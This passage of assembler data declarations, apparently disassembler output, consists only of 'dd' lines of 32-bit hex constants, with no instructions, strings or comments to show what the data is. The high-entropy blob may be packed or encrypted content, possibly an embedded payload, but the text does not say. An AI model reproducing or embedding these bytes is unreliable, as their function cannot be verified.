808EE0D4h, 1DD904EBh, 83A3B8D7h, 15F426B8h dd 648A8450h, 3020DC84h, 217862F5h, 90C0FBC8h, 7D62FDh dd 2E557E02h, 0ED417835h, 8478C858h, 8D0B49Eh, 0F977E1h dd 0C509C972h, 0EA8C51A9h, 33BC091h, 9FFBD3EFh, 0CF310E55h dd 6F207125h, 2FA03C76h, 7B5C600Eh, 0F72601BAh, 71E3078Dh dd 968B0289h, 924A9906h, 909760D7h, 0F5D1786Eh, 6AF869F5h dd 0D6460022h, 0C60EEC61h, 790F7887h, 74ED8FE8h, 24210144h dd 0E3C4685Ah, 0A8200031h, 63BE13A5h, 1D3C20E6h, 11B0CDDBh dd 0EAC89F02h, 60D02DEDh, 93BBB8C0h, 0F8ECD810h, 80B79E2Ah dd 25504205h, 0E481CB08h, 0D844A4DDh, 4FA35C81h, 11088A0Ch dd 0CEDB3E74h, 0F24A07D1h, 0FE608711h, 0BCCD2Fh, 21779536h dd 0D346382h, 57122C90h, 688BD576h, 30D9B384h, 4840BC60h dd 7313FCBDh, 46F8F0A1h, 912ED9C0h, 1CC4FCE1h, 41AF4E51h dd 188BEC06h, 0D0F4706Fh, 4D40574Ch, 0A468219Ch, 0E4215C1Ch dd 52FD9C56h, 0A76862E7h, 18897CC1h, 125890E8h, 2C8313C8h dd 0F0006F68h, 90524A62h, 2CF58E70h, 7480A0h, 3D93DF76h dd 19F06933h, 6F78B975h, 0BD09AB76h, 184615CAh, 55384700h dd 1BD8A4B9h, 0EF49434h, 98A98AC5h, 2EA05080h, 14A4C146h dd 12A78020h, 803C8AC9h, 344B02Ch, 88A3242Ch, 56E42174h dd 5EC2A880h, 53C21h, 36DDB132h, 730B5F4h, 4CF94F60h, 595BA98h dd 0EFCDE91Eh, 9F489082h, 8E0643DDh, 0CEEC5A29h, 6B460CB8h dd 4EA8B764h, 9C230A4Bh, 8FE7A0EFh, 77C43DA0h, 80BE9F1Eh dd 0FD87A685h, 0C090113Ah, 7A0E351Fh, 18AEDC0Ch, 5B690AD9h dd 2B4B6B7h, 0C4A68494h, 4C99CCA9h, 251D309Ah, 6BC12600h dd 0DF0DC73Fh, 6EEF3CD8h, 0D7AB1C0Ah, 3AF105F7h, 4CC008DEh dd 0A1E75E8Ch, 557900ECh, 0AA3BF5C4h, 8276DC5Bh, 0A08552h dd 5D4ECC7Fh, 50EF79A9h, 7CDEB868h, 284A4833h, 6DCDD04h dd 0C7C48481h, 8ACF6138h, 0D3D452ECh, 4470D451h, 0D9F286DEh dd 4110F51Ch, 38046356h, 9500EFC0h, 0BE5EC469h, 7EE870C1h dd 98226853h, 0C23DC44h, 47BB5452h, 3A2CC981h, 0DD9880D4h dd 16AA5E76h, 862C43h, 1404676Ch, 0F6005A99h, 0BCA9F28h dd 0F1B6C782h, 251B1438h, 98C4F8BAh, 0CC087A34h, 0C2856784h dd 0AF0057BBh, 3C10CC82h, 0B1807A8Ah, 3CB805AAh, 28F422ACh dd 5E90B963h, 165100E0h, 24BFB1EDh, 7500C7D7h, 2DB505E2h dd 1EF281Ch, 0C2F4FD7Eh, 30A79C38h, 0AE24ED28h, 86870441h dd 0AC10497Dh, 25E17FBh, 8281549Bh, 0ACA0B89Fh, 0F1FF23B4h dd 40A96E06h, 1719BD3Fh, 80767D89h, 2DA0D238h, 42DB8B1Dh dd 0E0946352h, 3096DC82h, 0A60862EFh, 64814BCAh, 0F7964435h dd 0C16818C0h, 0F6E0758h, 842B9E94h, 340889Fh, 847EDB0Fh dd 1BC01C83h, 6427EFD6h, 678FE34h, 0EACE9663h, 0CC00E1B6h dd 2C2B85C0h, 0FE7919h, 9EDAF4D1h, 5EB366E8h, 6BC04204h dd 0DCF1FFBCh, 0B3F26472h, 0C60C30h, 2964289Ah, 0BB129BCFh dd 0D447345Eh, 808E1774h, 0DA8710AEh, 3E6B01D0h, 52C4B293h dd 0B202824h, 717E95h, 0F521EDC4h, 88629887h, 1C6C88Ch dd 0F2AC6689h, 0E1F14D84h, 0B2520FBh, 81EB0C09h, 401481E6h dd 106947C2h, 2BC9E24h, 0AB2D67DCh, 269D6841h, 127B02A8h dd 318A34F5h, 0A3E31049h, 23BE00ECh, 30C48447h, 0DC91404Fh dd 84B08A0Bh, 7CF225ACh, 0E0C068E7h, 8841AFh, 0AEE1396Dh dd 6B34B702h, 1C42A424h, 56C74B01h, 19113053h, 6B62D80Eh dd 824C9E27h, 0A0D55E24h, 0FFE899B0h, 20FE0006h, 3C19E7CAh dd 0AB004222h, 8F16C840h, 91170877h, 56E6D0C4h, 0D6050086h dd 0E731D7B1h, 4548CAC5h, 28C40BECh, 69D0215Fh, 0E82C3514h dd 0BEF9C204h, 0D3B088EAh, 3FE76C01h, 2E883779h, 30A09842h dd 7B121183h, 3038F33Eh, 118B004Dh, 0F4578C81h, 3E0126A8h dd 60C49ED7h, 8C3C5197h, 24E77101h, 0CC72D94Fh, 89274AEh dd 1C7FC42Ch, 0FE20771Eh, 5407F8F7h, 52FAC4Ah, 838CD8F8h dd 51C0ABAFh, 306E84E5h, 0E08142E8h, 700D33Bh, 85FA1029h dd 0B31B54Ah, 63A10B9Ch, 44FE3890h, 0D2ED0516h, 18047095h dd 6CE4436Fh, 0C354277Fh, 0DC6788E0h, 98A54228h, 0BE218707h dd 0B346B857h, 0FE6F3C21h, 88DF4785h, 9FA4C2E7h, 8127D30h dd 8D5A34EBh, 3214A66h, 69ECA5F9h, 10B0FE17h, 1E02C6ABh dd 606BACB2h dd 133CF0D9h, 13679F81h, 3E3C80A9h, 3B61B330h, 64107B0h dd 8234835h, 3CC168A7h, 7CD48A26h, 66940009h, 0ED971BF7h dd 49C40DD1h, 0CC9065C4h, 927C439Eh, 5AC9397Ch, 0D3020CDDh dd 0BC52CBD2h, 95079CF0h, 7F4EC01Dh, 3485C9C5h, 0B984608Eh dd 9FED3057h, 0E3D901E8h, 0D8A01168h, 0C80BC069h, 74686F49h dd 0D6D14E01h, 0FC496C1h, 0E284344Bh, 1F2A3056h, 2FEF4A3Ch dd 0DE4A1084h, 0FE7BEDC0h, 6D0957C5h, 0C455F6A3h, 74957934h dd 0C16C0039h, 765FBD1Eh, 270228B8h, 5256744Ah, 5B704A22h dd 2C1170F4h, 1913EA09h, 0C2D08787h, 0D4F4858Eh, 0FF5EC402h dd 14EC6853h, 4C9BB06Ch, 520FB899h, 0DD84084Dh, 0E2FCB26Bh dd 9A02305Eh, 0DFADCF1Ch, 0CC0D55C1h, 0FF1240EAh, 0B8649060h dd 4A8A9B80h, 536846D0h, 9494F170h, 5E465Eh, 0E6237485h dd 4C5040B8h, 1D1068A1h, 0A7870149h, 0B68B467Ah, 1C0F2C62h dd 0CD80860Ah, 0DD368A40h, 17D518CBh, 0D9B28830h, 67640260h dd 9D5F14h, 0FF3447FCh, 0E86452D3h, 2CC145E1h, 0E400BC33h dd 2B40232Ah, 8B402EAEh, 34244154h, 63E4F533h, 38862378h dd 34EFEC84h, 3C8E92h, 7CECAE86h, 0FF6F862h, 9CE88E91h dd 80D73A02h, 51376860h, 51527880h, 6891508Ah, 12798083h dd 427A34F7h, 0A1FDC08Dh, 0AB7BECh, 2072D875h, 92EDA5CBh dd 0A9306B14h, 0FD860BF0h, 0AA701057h, 0F63202ECh, 5FD1C06Ah dd 63490C82h, 51F195E0h, 0F4E67828h, 94B40C90h, 43913DCh dd 6BFCC057h, 0C094D40Bh, 4A465Ch, 222EFE66h, 386135Eh dd 633F067Eh, 0D80EB138h, 73F8C2CBh, 68D57000h, 16CFF61Ch dd 60DCF75Eh, 3C524B28h, 34680095h, 0EF3A2A26h, 178D8434h dd 84FAB467h, 0C3CC0424h, 0FBE9052Ah, 57B12481h, 38100405h dd 1DD840A3h, 0FD84824Dh, 47C8493Bh, 3F0818C4h, 3B64C3Bh dd 0D3B45249h, 0A277702Dh, 184FAE70h, 7911118Dh, 0AF88E33Eh dd 11954780h, 2AE28C1h, 75C4CB62h, 0C6D69A6h, 0D3BC7AC0h dd 0EAB71BE8h, 1BB86144h, 8B3AF646h, 0F19E80EBh, 0BE76E7D9h dd 218F2C22h, 0DC6F40BCh, 0F70BE668h, 0E00169D9h, 17C4CD50h dd 430880Ch, 45245324h, 1CC5FD81h, 1C801885h, 16F8210h dd 87F5D40Fh, 6CF621EDh, 0CFA983D4h, 0FB49E878h, 7D250290h dd 0F68FEF7Bh, 0BF005C52h, 0C046278h, 26D329h, 0BAC6967Ah dd 0D83A6CB0h, 0F8E937FEh, 0D09C3156h, 0F9696D80h, 256B82EFh dd 809B9B0h, 0F1EC2Fh, 2554864Ch, 54B49EDBh, 2043E0EFh dd 29FFB79Ch, 17C404A4h, 54B07978h, 0A0A44Fh, 3FE1DDE6h dd 0F6598D5Fh, 7EF9660Bh, 71DC90E8h, 55D40746h, 959F85F4h dd 0E6FCD0DAh, 0BC74DD84h, 0E7021896h, 78D43B34h, 39699848h dd 0EA30DDDCh, 8FC8C421h, 17505D49h, 3913BB16h, 0B69FCC80h dd 59B96936h, 6081A004h, 12F11377h, 8A33AA34h, 7F870FD0h dd 0E29F6313h, 538811EBh, 0F2BC0BECh, 0A334E1DCh, 87380207h dd 9882ECF8h, 0E3D90C79h, 2A0E8818h, 637486CFh, 2EF49EB4h dd 5ED4D491h, 99004546h, 7B7C7D0Fh, 8F26DA1Ah, 0EA41E89Eh dd 136E6C03h, 27880241h, 50607044h, 133D0D8h, 0E0B1C94Bh dd 0F985A108h, 0E86B3A00h, 0A873E54Fh, 8C01A4C6h, 0F03C6E18h dd 50097ABFh, 0B828F3Fh, 89FCCA14h, 0DEFC009Ch, 536C876h dd 0B1D3DDA3h, 0C1FC9753h, 72DCFCBDh, 0DCED3F80h, 0CA529CECh dd 5DA210A3h, 7641EA30h, 0C4BD5887h, 4D06F28h, 90310621h dd 1638B208h, 0B0CCD1EDh, 85C05E9h, 0F32643C8h, 30BBB2F4h dd 0E6001F1Ah, 60212966h, 18D9649h, 0C37A55C8h, 24D48AC4h dd 0C1E636D0h, 0AE0CC505h, 0E840B7EAh, 202B5F84h, 0B8CC3A3Fh dd 50096500h, 0D7D49BFh, 92361604h, 0A8B80863h, 0E3F4844Ah dd 0C8A9E4F4h, 152E985h, 0F6D705D4h, 9EA45040h, 3F3A57A7h dd 0C6678F09h, 0CB706063h, 0ABEFFh, 3A201814h, 0CFF77624h dd 0C2B64304h, 8CF0C438h, 48A2EA67h, 0DC049847h, 0B849EF2Bh dd 3543C13Ch, 0F0206B37h, 0EE81202Eh, 44933013h, 398EB820h dd 5046011Eh, 0C5145175h, 7288548h, 6CC0E7D3h, 8046DEC8h dd 0F7044382h, 4E1169F2h, 81C4C8B8h, 9BAC6251h, 0B6129C1Ch dd 929623FCh, 37C89757h, 7C4493C6h, 930AC288h, 0C8005E7Eh dd 0D7178499h, 7BAB7B9h, 6D15E943h, 0E82C41B3h, 0C86B2FD5h dd 65F49C00h, 0E15455A3h, 644181C0h, 9961EA2h, 0F0AFB55Dh dd 898C8F7Dh, 61E38189h, 1EE1EFF4h, 1E7B2C31h, 8F003E16h dd 79B08D49h, 64305ACAh, 9C64CE1h, 188E004Dh, 0BFCD705Bh dd 5A1721DEh, 1841C860h, 8D076B1Eh, 0F401C026h, 0F3C87962h dd 0D0282B9Bh, 62FC1293h, 154C08E0h, 0C1D35E8Ch, 0EBCF0E39h dd 8A850CE1h, 5E0CD110h, 7E619F83h, 360FC302h, 0B440E32Dh dd 82518844h, 0C837DCh, 0C52CAC6Bh, 0A42F0C38h, 2488DAF4h dd 0E62F0AA1h, 9A8DD43h, 0E400A60Bh, 0CFA5BD25h, 78454226h dd 0C320F428h, 49074B30h, 0D451EC74h, 0D73B6FA8h, 51568463h dd 50ADBBF8h, 845057C9h, 26BD702Fh, 2910A4h, 25328895h dd 3150A4B8h, 0F0E0DC30h, 91011E6h, 9F09B966h, 1BE0F8D3h dd 0CD8BD4h, 9E82D880h, 5173D01Eh, 8C07107Ch, 72912265h dd 0AC472340h, 0F94B0E83h, 0EB6057AAh, 0D1EA67ADh, 1DCFA200h dd 7CE8FD8h, 0F188A1E6h, 75026C36h, 7D67C1CCh, 94604471h dd 1632CC9Dh, 4F52BC69h, 3AB6C4B4h, 4E5237Ch, 0E098A28Ah dd 8F4E0B98h, 4410D09Fh, 821888AEh, 0ECD88AC9h, 3B3AA880h dd 0F4934F5Ch, 20505FC4h, 185A2DE1h, 84F00E77h, 0D3A0D174h dd 4725718Dh, 5C30A54Ah, 237611C0h, 0BA11EB3Eh, 118E8001h dd 0C8D91D71h, 0A892BC13h, 38796899h, 0E21DA418h, 0F1C0DBDAh dd 8863BA66h, 0AE3890A6h, 0B0A17258h, 16787674h, 0B4F6C1EEh dd 4F1D8008h, 8B893A1Fh, 0E63020B5h, 74591974h, 0E1B1699h dd 0F0E000B7h, 0D6322261h, 207DD22Fh, 94C84C30h, 7C92809h dd 0C10A25DCh, 0E920D80Fh, 87F161C5h, 0B066812h, 726C4F2h dd 251400Ch, 5571227Fh, 2DA08803h, 0B38D6E65h, 5F6A80CEh dd 1B9A12F1h, 0E6A413F8h, 0ED870368h, 0A08491BFh, 1E467E17h dd 2552CA2Eh, 40D3A0E1h, 8968699Ch, 0DEDA1803h, 95B8BCC4h dd 3B9C2480h, 0D13305C2h, 0B253ED1Dh, 30AEF21Ch, 0FFF25C13h dd 0D7F50203h, 0FEBA2729h, 3C092060h, 0E39AE00Bh, 0C17CCD69h dd 0FCC43F88h, 1B98CC6Dh, 47241700h, 0C359F36Fh, 74784C03h dd 35107404h, 0E678C1EDh, 6980317Dh, 141FB884h, 0E45166BCh dd 6B1A5F09h, 0A3037071h, 0E84B6FC4h, 7A5019C2h, 7A73D9h dd 0C805D19Ch, 0CE8046B6h, 0AC20C15Eh, 52DB64h, 5A2E7F1Ah dd 0A9666776h, 53276A03h, 99319F7h, 0C0AD354h, 4010C019h dd 391E3CF0h, 87383E0Bh, 0C12080ECh, 975B5117h, 486D4880h dd 0A109421Bh, 0FA9E894Ah, 68C300F0h, 9844BDF1h, 0E70B112Eh dd 22891467h, 0D4DB9304h, 0CE4C65C0h, 0C1B28890h, 34EA54FCh dd 44004560h, 0C510E6EBh, 13C109B5h, 63E477Eh, 59A29E64h dd 0CF89C00Eh, 0FA53C933h, 0C9860488h, 864D54F8h, 5F4C69C3h dd 9E3980B0h, 0F02B9Bh, 97F1BA43h, 282FD4CBh, 0E5063200h dd 1F0AA6F2h, 0F0514869h, 916BCC13h, 738DF798h, 4C2000DCh dd 28F2923h, 0B106009Eh, 1E427FB2h, 0E3093F3Dh, 0F937B820h dd 0D6470014h, 0EF7BD835h, 548B874Fh, 0E0CFBBC8h, 9F396E3Dh dd 5D4000EFh, 0C248DADEh dd 474ECBE0h, 0C1E15099h, 0B1C4433Bh, 0B9022C59h, 0C23E9514h dd 40345E90h, 7D444B4Eh, 2F8648Ah, 0C469968Fh, 0E8045706h dd 0D96B08C2h, 185E7150h, 0EA0EEC2h, 0C477BEBBh, 0D0706309h dd 780C3490h, 785769DCh, 88305A73h, 0C281932Ch, 968ED230h dd 0E3217614h, 0EE58256h, 8C565AC9h, 7C6B3E82h, 97B45CBDh dd 34244044h, 56E0D81Bh, 8C81F89Bh, 4C4ABC67h, 219F9092h dd 0D8960E40h, 1D09D893h, 6497C77Bh, 6A1912C8h, 4E240028h dd 0D6AAB4B3h, 48483F49h, 0EFE113ECh, 45C8A08Bh, 246758C0h dd 0A3D13BD9h, 0B39F8F0Ch, 45035C21h, 14E64687h, 679BD83Ch dd 2864ADCh, 0D93AF5E8h, 0B012B0ECh, 24E22F6Ah, 0AED6941Dh dd 4865EBBCh, 21603BE4h, 0D9039FA7h, 0FCE956B9h, 0D476A2DAh dd 701EDC64h, 91001D4Bh, 99D071C3h, 2D6A03E3h, 8533E45h dd 68D42C16h, 5F23F82Fh, 8B613D00h, 2716C75Eh, 886EADC1h dd 1769A125h, 803B11CCh, 223C1A3Eh, 0CEA71F40h, 21489808h dd 0BA1FF5A2h, 0C440AC96h, 5072CF94h, 5DAA13B8h, 0EF28A0F9h dd 1651C712h, 5100106Fh, 6784A9C3h, 0AF4F9F70h, 0A042D8CDh dd 0CC7930FDh, 9D678512h, 90C028B2h, 4F69CC81h, 0E9EB9F72h dd 1BC98C4Bh, 382CCE74h, 0EBDACA8h, 91028E80h, 0C4165887h dd 97AD2CB9h, 9D45916Ch, 0C0726B0Eh, 0F28B9B6Fh, 0A5040387h dd 13C77650h, 1668B8C5h, 0FCA3B726h, 1830B8A2h, 25BC2ED8h dd 9FC806F8h, 0B6008156h, 0B1BADE7h, 12F1BED3h, 143CA2Ch dd 21C7B331h, 2F30DD3Ah, 0FB741809h, 0D11829F0h, 19A183Ah dd 5B4031C8h, 0DCDD5924h, 0B6139CCFh, 0A0E2993Bh, 85D5FD00h dd 18B72B02h, 4BC46600h, 44820BD0h, 204600A5h, 0C7C9CF7Eh dd 0C225CAB7h, 0E6D4C064h, 0E36098DDh, 79758600h, 0CDEBC63Bh dd 0BC2F97F8h, 3407AF23h, 59902BCCh, 11C1707h, 0AA5B0423h dd 2C148ACAh, 6334040Ch, 0A4A7BB60h, 0FC17F82Fh, 6057B788h dd 1564968h, 0E9101214h, 57150558h, 0DC80D0FAh, 0B9F7AF9Eh dd 11802600h, 21E92D4Bh, 9AB743B0h, 0F83AEBC4h, 480948CBh dd 0CDA09680h, 0ED2C0EC4h, 1F00FC21h, 18B6B754h, 0CFB20976h dd 6CD878E8h, 446E9F4Ah, 2B8C9500h, 22FF4A78h, 0E7B4BE0Bh dd 387A57h, 12150270h, 0C5B8A2D8h, 0C4C80186h, 50478F6Dh dd 6CEC597Ah, 30DABDF8h, 0A500CD1Dh, 2374ECEDh, 0FC27147Eh dd 0C5514455h, 48A4E493h, 4AD700D6h, 98145996h, 0CCA1B250h dd 4B947943h, 94B27484h, 0C57BAF1h, 777F0071h, 752751DEh dd 0AE006429h, 8E8BC8CDh, 2D28C470h, 0D8C84703h, 0A89CBB4Ah dd 48EFC805h, 80C41CF9h, 0AC8CA9D5h, 7D1E03D5h, 765C5E8Fh dd 43B44FD0h, 4CE2E82Ch, 7517CE01h, 3BF344h, 0E99126C0h dd 87334096h, 7D6E49BCh, 9140B2A0h, 0C4D349D8h, 0B0D08351h dd 0A607A09h, 0D0249F6Dh, 89D7CFE4h, 947C450Ch, 0B8C4A8ECh dd 0DC008C42h, 2F0D86CFh, 532A44A5h, 8E10B84Fh, 0A09E25A2h dd 8F6B7078h, 4BB803D8h, 59DA905Ah, 9CED4FD0h, 788EEB4Eh dd 4578B9CAh, 0E542804Eh, 0F8039D4Dh, 670C3BA5h, 0C4BD88F9h dd 0CD802F5Ah, 0B98C34C8h, 98D180h, 0E04D30ABh, 0C4F96AD8h dd 2062FFEEh, 72ADEDC0h, 409E4B4Ch, 0CC499554h, 0FD0F9CDDh dd 130357C7h, 6608BC00h, 47B2685h, 820DFC48h, 0BC6CB8D2h dd 89738C5Fh, 84C87D25h, 9E0648B0h, 0D00081B1h, 0D6CB70A4h dd 139FAFFh, 118C444Ah, 0F8CE7797h, 45F212C7h, 0A56C029Dh dd 78D109BCh, 0D218AE79h, 51F2A002h, 4C6F2205h, 0DBF85A94h dd 73988014h, 7F8BFE76h, 0CC1804F3h, 9086F040h, 7A9F278Ch dd 45EAB818h, 0AC7789h, 4EFE2A23h, 67BD0D38h, 0C90F789Bh dd 0BF5404D9h, 8A4A58A7h, 0C03AC858h, 0C847ACB6h, 0A67B7607h dd 52621528h, 4BE0D8A4h, 237C3AA0h, 7E8A005Fh, 0D174712Ah dd 1383A507h, 6D4BC7D2h, 6976C00Ch, 914086DCh, 5333169Ah dd 4CE0B01Ch, 0A51C6CF8h, 5B0B3EE3h, 18F4F035h, 304FAAACh dd 981C2521h, 0D70CC437h, 0B591202Dh, 5F919097h, 5191B580h dd 0BD13E9A1h, 0AC40A6C2h, 25A37E4Ah, 0B9EB605Fh, 7AF97057h dd 50670800h, 0A2FB37CEh, 0CA2301E5h, 0CB8F8E90h, 482F2FB4h dd 0DB074423h, 8FE08376h, 2FC9E169h, 74003852h, 0FF8527C6h dd 0C4BE3E1Ah, 88589760h, 7160DE4Fh, 1716436Ch, 20F6D493h dd 0DD0A2920h, 2CBAD100h, 8558971Ch, 750C0135h, 14690EDCh dd 18FCFAA9h, 2C40DB88h, 0BB467474h, 40B7521Eh, 611B1676h dd 0F400B2FDh, 1D287ED0h, 2E37E18Ch, 0C1A8EE0Dh, 24F6C469h dd 22F21FD4h, 5460800Ch, 56E79E9h, 0A8B801A0h, 3164806Ah dd 0ACB41830h, 6DB41001h, 84299E41h, 87F78E00h, 0ABB831Ch dd 0EB7B5C00h, 45D6B83Bh, 0DDC25EBEh, 306A7B50h, 14983125h dd 105DD52h, 394F60C1h, 5C5E2488h, 0A4887047h, 7711DFC0h dd 0A2D34A3Eh, 8981C058h, 78460311h, 0D10C9934h, 0E2C0195Fh dd 698C00D8h, 1D559351h, 3816C10Bh, 0D03E4397h, 0C956E210h dd 40F05416h, 5DFD867h, 0DB634C01h, 0D589B1FCh, 800684F8h dd 4800F918h, 0E86830Ch, 0B2CF8ABh, 0C0AC6B92h, 60B84C60h dd 4C1242Dh, 1D404850h, 0F9FB4DD6h, 7CF18504h, 0F8F49F35h dd 0FCC90059h, 70777946h, 1D07B6B8h, 0A349C1E3h, 0A981EFA4h dd 88733659h, 0F33049A2h, 0CB452E31h, 412308C0h, 72DCDD02h dd 0D9545148h, 0D18B3h, 0A3CD630Bh, 0F5B788F1h, 6B1DC270h dd 6FDDBF13h, 5702D824h, 54543C42h, 935B8084h, 87BCBBABh dd 3B40BCB6h, 0E2F338h, 0FDB245DBh, 681075CBh, 0C04BD5EAh dd 0BAB3B820h, 6AB200A7h, 65A5229Dh, 3C717614h, 5D023EE0h dd 0B8C170C0h, 4421h, 9771CB74h, 66C4CF7Eh, 8B19A100h dd 0E99B6980h, 8B6E4ADCh, 0C038C8F4h, 44E50188h, 1953A10Eh dd 0C0D86934h, 0BF315740h, 1B3E70A0h, 6CB4BB9Ch, 885C0893h dd 60484DEDh, 0D650944Fh, 0CC0186F6h, 6BBFE370h, 0E42D4580h dd 0CC458CCBh, 1857BAE2h, 0E6009AA5h, 0D3CB4226h, 10652CDh dd 6D211268h, 3C37515Ah, 0D8BB0488h, 488EF649h, 32D9B284h dd 0B0546C72h, 92B83BFCh, 7435B92Dh, 0D78E5D91h, 0E43EB885h dd 0CA4EED5Ch, 22C6C897h, 6C31F9A9h, 0C8B8CB2Ah, 0EFD5C0B3h dd 0C00CF49Fh, 0BE035F7Fh, 0AC149C30h, 490A0808h, 63383E05h dd 309BEC95h, 0CAA58EC0h, 4B5105Ah, 90B6DFE8h, 1ED4C05Bh dd 2812343Bh, 7805DFEDh, 48005FCCh, 3E8D70F3h, 0E7D30FDEh dd 0B0177CDCh, 18135324h, 28E69DFFh, 646879E0h, 182F5201h dd 495C245Ah, 0C9C1942Ch, 799E86DEh, 0A8915F18h, 48AC17EDh dd 0ECC52DE0h, 5C605EC4h, 880379D3h, 6121806Fh, 3CE9C08Ah dd 0A95F09DFh, 0B402745Ah, 790BE098h, 4EDD0070h, 63CE1FF6h dd 911D6E00h, 0F70BFC29h, 21500B13h, 3465773Eh, 4FBCCD2Fh dd 69495080h, 0B7026129h, 57BC7E9Dh, 404856DCh, 37A4E8C6h dd 56FD8100h, 7FC4CD9Fh, 0F7790478h, 0EDCBEDDFh, 85FD0904h dd 0E07010F6h, 58FE45h, 7518E47Ah, 1DAFCE3Bh, 518EAA00h dd 8DC3BB4Dh, 9C91705h, 0A1E41B8Fh, 0DE3995A0h, 64C47602h dd 4BBDE97Eh, 4878E968h, 7AC96CDCh, 8E69008Fh, 6F73B82Fh dd 8100399Ch, 0EE807DF4h, 0C0C98FDCh, 9941951h, 0EF5A9EC3h dd 0B3C8D88Bh, 1D24E8C0h, 2F98F09Dh, 801957E6h, 1A55C21Ch dd 5EB456C0h, 8057B721h, 0A732E6ACh, 562D44EBh, 0C000ED76h dd 69686BD1h, 0F3137B7Dh dd 0F40229C7h, 0DC56E518h, 0CCBC0CB4h, 5C5A66B9h, 68A46853h dd 3DC40F8Dh, 0D220AB6Fh, 0CF231563h, 0CC1A4904h, 38984ADBh dd 5EFC94A5h, 0EE015C46h, 43BE41E4h, 0C34620Ch, 98BADC32h dd 387700DDh, 2D6F3EC7h, 0B90B1AABh, 4E6EBF93h, 71E4B154h dd 0AC18B5h, 0DBB4A04h, 2EF6CA65h, 4B63A88h, 7AE3B951h dd 0FE88C337h, 58E96926h, 0A5F01F14h, 0DFA8A8BDh, 7E574E09h dd 0C4E48FB6h, 0AEE13B94h, 9D9CB434h, 67A0E40Fh, 0EEB7BAACh dd 0BD34B7BDh, 0A6000248h, 0BF72F149h, 1DFCEE52h, 3C205B00h dd 78D02804h, 0AB4C2853h, 259325C0h, 6658E4DBh, 95C8031Fh dd 0ED57E86Ch, 0FFCF100h, 4A90871Eh, 883400A0h, 6EF8A68Bh dd 70999AA9h, 4CFEFC81h, 0B7CCB21Eh, 34180742h, 0C0915CB8h dd 86FFCA26h, 7D6EC40Bh, 0DC002076h, 997BFBDFh, 185DD1C4h dd 0A1192CC4h, 9ED640ECh, 2D0009F9h, 0F558F279h, 33A869h dd 8CAA963Ch, 54688A72h, 0F80CC716h, 1478A89Dh, 8CBAACh dd 0A9B7198Bh, 0D9D1BC52h, 0E803C417h, 0F9B82490h, 0FB8E726Ch dd 2FA49320h, 80BA7C2Ch, 8550705Bh, 1E7E09C1h, 0D482C259h dd 0B8E8B43Ah, 97B72EA0h, 8E5D91D8h, 3A21C013h, 4D8AC829h dd 5E272874h, 0A48B7CC8h, 4E0F637Fh, 3629155h, 80947FAAh dd 146ADFCh, 3EA74092h, 3FE2243Bh, 10208C45h, 0B310743Ah dd 1E93C0D9h, 4806BC69h, 371C9C90h, 0C481C13Ah, 0DDCA6E0Ch dd 0A0B06444h, 0BAF46312h, 0B9E97C04h, 396F6890h, 14D15834h dd 0FE861900h, 9F465A02h, 0F9692C12h, 0B5C838CBh, 0BBEA24C0h dd 141B02D6h, 16AC6BABh, 0C0BB858h, 7147133Bh, 19AC2640h dd 795E0887h, 0F8C24A9Ch, 80540928h, 0A0D9E70Fh, 1DD7B025h dd 13DCEACFh, 0F2F1836Eh, 0E5FB007Ch, 274D9E15h, 211B0032h dd 0CA5844AEh, 4C24A561h, 0EB0EAC4Bh, 56E82177h, 38424A6Dh dd 8044D6C1h, 40066FD8h, 0BC00612Ah, 59699720h, 4AEDF23Bh dd 445042C9h, 4CF4072Ah, 89257C1Eh, 44184F24h, 1002C772h dd 6B600691h, 0FCC86C5Bh, 0DFB700DBh, 5C0B2C37h, 7B0B2A35h dd 5027383Eh, 0D837BD44h, 0D4E0D417h, 9C53277Eh, 945E64C2h dd 5C5A4B82h, 639848B7h, 95C9608h, 420094Eh, 0D97374F1h dd 0BF5F6812h, 9B00F856h, 4D4159CEh, 0D6311C1Fh, 4EA7435Dh dd 0CDC8B40Fh, 0CCB0E879h, 1229F444h, 0C0E4AC3Ah, 0B4946BC0h dd 308ACB80h, 3A80CFD8h, 7100F33Bh, 4CC9D7B2h, 25146B46h dd 580098A1h, 0BF1F1A28h, 0E817B727h, 3D2BE390h, 11E8C15Ah dd 820501D8h, 0E24FCD53h, 20EAB8E9h, 858846B8h, 53124B6Fh dd 47004920h, 0F4437420h, 98048627h, 0F1DD4CDBh, 87040BAh dd 0CDEC1C67h, 44D2D025h, 3BA1E90h, 0DC1B091Fh, 52AC1C04h dd 0B0A4C8h, 30BF4C14h, 0E8D29ED8h, 0EAC9A607h, 28CFEC6Ah dd 1C9DB3h, 0E0095582h, 7A048CF1h, 0EC52C47Dh, 6B3A1CD0h dd 9070506Dh, 15DA01BEh, 23DCDFB4h, 38203C2Bh, 540172C9h dd 154021D0h, 0A3C0D216h, 917E03A7h, 0CDBB43CFh, 0C2C54006h dd 5825DCh, 9ED22D94h, 0C70C01B7h, 808B044Bh, 3157B7C4h dd 0EAD8833Eh, 0E83B2CB0h, 0AA6043A4h, 0C0829FB9h, 6E03AEE7h dd 6F54CA01h, 6D69F85Dh, 9E9CA002h, 3892B78Ch, 4E6260E5h dd 75A718DEh, 0A9BCAF09h, 0E45045E6h, 73BC60BBh, 0D8620031h dd 0E65F9B52h, 0F4A4EAB4h, 3E4820BFh, 4CC90662h, 44222CC7h dd 0C5E855F8h, 3CE69600h, 2DFD14FFh, 8C722DA9h, 90E2284Dh dd 1AD511E1h, 109220D0h, 7780204Ah, 50020621h, 0F8DB9329h dd 0C218B8D1h, 0CB917803h, 4B8CB571h, 0B2E088C0h, 805F633Ch dd 0C0AFF9ACh, 27CC497h, 9C79D174h, 34C2EBE2h, 90DEF81Ah dd 416105D4h, 0ED9FD5F9h, 4A0F07F4h, 0D3B09806h, 2A6E395h dd 303E5048h, 0C087349Bh, 4C5A917Dh, 0BE8C40E5h, 454FD053h dd 8924F0D2h, 88D09D98h, 0B060DE45h, 9D109B3h, 0CED3BB3Ah dd 0AA1DDD00h, 0A4003048h, 0A66121C7h, 98D9F77Ah, 0D5B92D24h dd 60048CB7h, 0D84042F6h, 9B395336h, 0FF1E8A00h, 89D02E32h dd 37B717A0h, 0AE1C004Ch, 0BDBEC467h, 503CE881h, 0DB472413h dd 81208F80h, 6481C21Eh, 0D91CE2DEh, 56E578DCh, 0B88C1C86h dd 3054D460h, 42EE9700h, 0C4C63CE3h, 0EAAAB00h, 7CEF1BF0h dd 0E51E1ABBh, 34C0D858h, 0BD970531h, 352700C8h, 3E3C5CF8h dd 5447282Eh, 8CE36981h, 0D478D37Fh, 18C35BCh, 2B29281Ah dd 0F5C2391Eh, 38B8D051h, 9C637CB6h, 